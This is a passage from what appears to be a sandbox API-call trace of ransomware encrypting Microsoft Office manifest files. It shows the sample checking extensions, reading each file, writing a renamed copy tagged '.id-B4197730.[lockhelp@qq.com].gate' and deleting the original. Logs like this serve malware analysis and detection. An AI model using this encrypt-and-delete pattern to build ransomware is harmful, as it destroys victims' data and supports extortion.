Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0124.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0124.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.298] lstrlenW (lpString=".doc") returned 4 [0124.298] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.298] lstrlenW (lpString=".docx") returned 5 [0124.298] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.298] lstrlenW (lpString=".pdf") returned 4 [0124.298] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.298] lstrlenW (lpString=".xls") returned 4 [0124.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.298] lstrlenW (lpString=".xlsx") returned 5 [0124.298] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.298] lstrlenW (lpString=".ppt") returned 4 [0124.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.298] lstrlenW (lpString=".zip") returned 4 [0124.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.299] lstrlenW (lpString=".rar") returned 4 [0124.299] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString=".bz2") returned 4 [0124.299] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString=".7z") returned 3 [0124.299] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.299] lstrlenW (lpString=".dbf") returned 4 [0124.299] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.299] lstrlenW (lpString=".1cd") returned 4 [0124.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.299] lstrlenW (lpString=".jpg") returned 4 [0124.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.299] lstrlenW (lpString=".doc") returned 4 [0124.299] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString=".docx") returned 5 [0124.299] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.299] lstrlenW (lpString=".pdf") returned 4 [0124.299] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString=".xls") returned 4 [0124.299] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.299] lstrlenW (lpString=".xlsx") returned 5 [0124.299] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.299] lstrlenW (lpString=".ppt") returned 4 [0124.300] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.300] lstrlenW (lpString=".zip") returned 4 [0124.300] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.300] lstrlenW (lpString=".rar") returned 4 [0124.300] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.300] lstrlenW (lpString=".bz2") returned 4 [0124.300] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.300] lstrlenW (lpString=".7z") returned 3 [0124.300] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.300] lstrlenW (lpString=".dbf") returned 4 [0124.300] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.300] lstrlenW (lpString=".1cd") returned 4 [0124.300] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0124.300] lstrlenW (lpString=".jpg") returned 4 [0124.300] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.300] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0124.300] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0124.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0124.307] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=763363) returned 1 [0124.307] CloseHandle (hObject=0x344) returned 1 [0124.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0124.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0124.307] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.308] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0124.308] GetLastError () returned 0x0 [0124.308] ReadFile (in: hFile=0x344, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0124.577] WriteFile (in: hFile=0x330, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0124.802] ReadFile (in: hFile=0x344, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0124.802] WriteFile (in: hFile=0x330, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.802] SetEndOfFile (hFile=0x330) returned 1 [0124.803] CloseHandle (hObject=0x330) returned 1 [0125.344] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.344] SetEndOfFile (hFile=0x344) returned 1 [0125.351] CloseHandle (hObject=0x344) returned 1 [0125.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0125.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.352] lstrlenW (lpString=".doc") returned 4 [0125.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.352] lstrlenW (lpString=".docx") returned 5 [0125.352] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.352] lstrlenW (lpString=".pdf") returned 4 [0125.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.352] lstrlenW (lpString=".xls") returned 4 [0125.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.352] lstrlenW (lpString=".xlsx") returned 5 [0125.352] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.352] lstrlenW (lpString=".ppt") returned 4 [0125.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.352] lstrlenW (lpString=".zip") returned 4 [0125.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.352] lstrlenW (lpString=".rar") returned 4 [0125.352] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.352] lstrlenW (lpString=".bz2") returned 4 [0125.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString=".7z") returned 3 [0125.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.353] lstrlenW (lpString=".dbf") returned 4 [0125.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.353] lstrlenW (lpString=".1cd") returned 4 [0125.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.353] lstrlenW (lpString=".jpg") returned 4 [0125.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.353] lstrlenW (lpString=".doc") returned 4 [0125.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString=".docx") returned 5 [0125.353] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.353] lstrlenW (lpString=".pdf") returned 4 [0125.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString=".xls") returned 4 [0125.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString=".xlsx") returned 5 [0125.353] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.353] lstrlenW (lpString=".ppt") returned 4 [0125.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.354] lstrlenW (lpString=".zip") returned 4 [0125.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.354] lstrlenW (lpString=".rar") returned 4 [0125.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.354] lstrlenW (lpString=".bz2") returned 4 [0125.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.354] lstrlenW (lpString=".7z") returned 3 [0125.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.354] lstrlenW (lpString=".dbf") returned 4 [0125.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.354] lstrlenW (lpString=".1cd") returned 4 [0125.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0125.354] lstrlenW (lpString=".jpg") returned 4 [0125.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.354] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.354] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0125.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0125.355] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=343329) returned 1 [0125.355] CloseHandle (hObject=0x344) returned 1 [0125.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0125.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0125.355] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.355] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0125.356] GetLastError () returned 0x0 [0125.356] ReadFile (in: hFile=0x344, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0125.920] WriteFile (in: hFile=0x38c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0125.926] ReadFile (in: hFile=0x344, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0125.927] WriteFile (in: hFile=0x38c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.927] SetEndOfFile (hFile=0x38c) returned 1 [0126.602] CloseHandle (hObject=0x38c) returned 1 [0126.661] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.662] SetEndOfFile (hFile=0x344) returned 1 [0126.791] CloseHandle (hObject=0x344) returned 1 [0126.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0126.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0126.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.873] lstrlenW (lpString=".doc") returned 4 [0126.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.873] lstrlenW (lpString=".docx") returned 5 [0126.873] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.873] lstrlenW (lpString=".pdf") returned 4 [0126.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.873] lstrlenW (lpString=".xls") returned 4 [0126.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.873] lstrlenW (lpString=".xlsx") returned 5 [0126.873] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.873] lstrlenW (lpString=".ppt") returned 4 [0126.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.873] lstrlenW (lpString=".zip") returned 4 [0126.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.873] lstrlenW (lpString=".rar") returned 4 [0126.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.873] lstrlenW (lpString=".bz2") returned 4 [0126.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.873] lstrlenW (lpString=".7z") returned 3 [0126.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.874] lstrlenW (lpString=".dbf") returned 4 [0126.874] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.874] lstrlenW (lpString=".1cd") returned 4 [0126.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.874] lstrlenW (lpString=".jpg") returned 4 [0126.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.874] lstrlenW (lpString=".doc") returned 4 [0126.874] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString=".docx") returned 5 [0126.874] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.874] lstrlenW (lpString=".pdf") returned 4 [0126.874] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString=".xls") returned 4 [0126.874] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString=".xlsx") returned 5 [0126.874] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.874] lstrlenW (lpString=".ppt") returned 4 [0126.874] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.874] lstrlenW (lpString=".zip") returned 4 [0126.874] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.874] lstrlenW (lpString=".rar") returned 4 [0126.874] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.875] lstrlenW (lpString=".bz2") returned 4 [0126.875] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.875] lstrlenW (lpString=".7z") returned 3 [0126.875] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.875] lstrlenW (lpString=".dbf") returned 4 [0126.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.875] lstrlenW (lpString=".1cd") returned 4 [0126.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0126.875] lstrlenW (lpString=".jpg") returned 4 [0126.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.876] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0126.876] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0126.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0126.879] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0126.879] CloseHandle (hObject=0x354) returned 1 [0126.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0126.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0126.879] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.880] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0126.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0126.880] GetLastError () returned 0x0 [0126.880] ReadFile (in: hFile=0x354, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0129.067] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x4f0, 